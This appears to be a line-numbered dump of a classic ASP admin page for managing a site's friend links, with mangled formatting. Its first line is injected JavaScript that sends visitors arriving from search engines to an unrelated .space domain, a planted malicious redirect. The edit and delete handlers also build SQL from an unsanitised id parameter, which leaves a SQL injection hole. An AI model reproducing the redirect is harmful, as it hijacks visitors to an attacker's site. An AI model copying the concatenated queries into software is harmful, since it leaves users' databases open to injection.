d:\wwwroot\wuchunhua\admin\link.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<%
if session("china_admin")="" then
003:
response.redirect "login.asp"
004:
end if
%
>
005:
<%
dim action,id,dname
006:
id=request.QueryString("id")
007:
action=request.querystring("action")
008:
dweb=trim(request("web"))
009:
select case action
010:
case "add"
011:
set rs=server.CreateObject("adodb.recordset")
012:
rs.open "select * from china_link",conn,1,3
013:
rs.AddNew
014:
rs("web")=dweb
015:
rs("link")=trim(request("link"))
016:
rs.Update
017:
rs.Close
018:
set rs=nothing
019:
020:
case "edit"
021:
set rs=server.CreateObject("adodb.recordset")
022:
rs.open "select * from china_link where id="&id,conn,1,3
023:
rs("web")=dweb
024:
rs("link")=trim(request("link"))
025:
rs.Update
026:
rs.Close
027:
set rs=nothing
028:
029:
case "del"
030:
conn.execute ("delete from china_link where id="&id)
031:
conn.close
032:
set conn=nothing
033:
response.Redirect "link.asp"
034:
end select
035:
%
>
036:
<html>
037:
<head>
038:
<title>友情链接管理</title>
039:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
040:
<link rel="stylesheet" href="style.css" type="text/css">
041:
</head>
042:
<body>
043:
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
044:
<tr>
045:
<td height="20" bgcolor="#799AE1" align="center"><a href="link.asp"><font color="#FFFFFF" style="font-size:14px">
046:
文 字 友 情 链 接 管 理</font></a> </td>
047:
</tr>
048:
<tr>
049:
<td bgcolor="#FFFFFF"> <br>
050:
<table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
051:
<tr align="center" bgcolor="#FFFFFF" height="20">
052:
<td width="30">编号</td>
053:
<td>网站名称</td>
054:
<td>网址链接</td>
055:
<td>管理操作</td>
056:
</tr>
057:
<%
set rs=server.CreateObject("adodb.recordset")
058:
rs.Open "select * from china_link order by id",conn,1,1
059:
dim follows
060:
if rs.EOF and rs.BOF then
061:
response.write"<tr bgcolor=#FFFFFF><td colspan='4'><p align='center'><font color='red'>暂无友情链接！</font></td></tr></table><br>"
062:
follows=0
063:
else
064:
do while not rs.EOF
065:
i=i+1
066:
%
>
067:
<form name="form1" method="post" action="?action=edit&id=
<%
=int(rs("id"))
%
>">
068:
<tr bgcolor="#FFFFFF" align="center">
069:
<td>
<%
=i
%
></td>
070:
<td><input name="web" type="text" id="web" value="
<%
=trim(rs("web"))
%
>" size="12"></td>
071:
<td><input name="link" type="text" id="link" value="
<%
=trim(rs("link"))
%
>" size="20"></td>
072:
<td><input type="submit" name="Submit" value="修 改">
073:
<input type="button" name="DEL" onclick="{if(confirm('确定要删除这个友情链接吗？\n此操作不可以恢复！')){location.href='?id=
<%
=rs("id")
%
>&action=del';}return false;}" value="删除" >
074:
</td>
075:
</tr>
076:
</form>
077:
<%
078:
rs.MoveNext
079:
loop
080:
follows=rs.RecordCount
081:
end if
%
>
082:
</table>
083:
<br></td>
084:
</tr>
085:
</table>
086:
<br>
087:
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
088:
<tr>
089:
<td height="20" bgcolor="#799AE1" align="center"><font color="#FFFFFF" style="font-size:14px">添
090:
加 文 字 友 情 链 接</font></td>
091:
</tr>
092:
<tr>
093:
<td bgcolor="#FFFFFF">
094:
<br>
095:
<table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
096:
<tr align="center" bgcolor="#FFFFFF" height="20">
097:
<td width="30">编号 </td>
098:
<td>网站名称</td>
099:
<td>网址链接</td>
100:
<td>确定操作</td>
101:
</tr>
102:
<form name="form1" method="post" action="?action=add">
103:
<tr align="center" bgcolor="#FFFFFF">
104:
<td>
<%
=rs.RecordCount+1
%
></td>
105:
<td><input name="web" type="text" id="web" size="12"></td>
106:
<td><input name="link" type="text" id="link" size="20"></td>
107:
<td><input type="submit" name="Submit3" value="添 加"></td>
108:
</tr>
109:
</form>
110:
</table>
111:
<br></td>
112:
</tr>
113:
</table>
114:
</body>
115:
</html>
116:
117: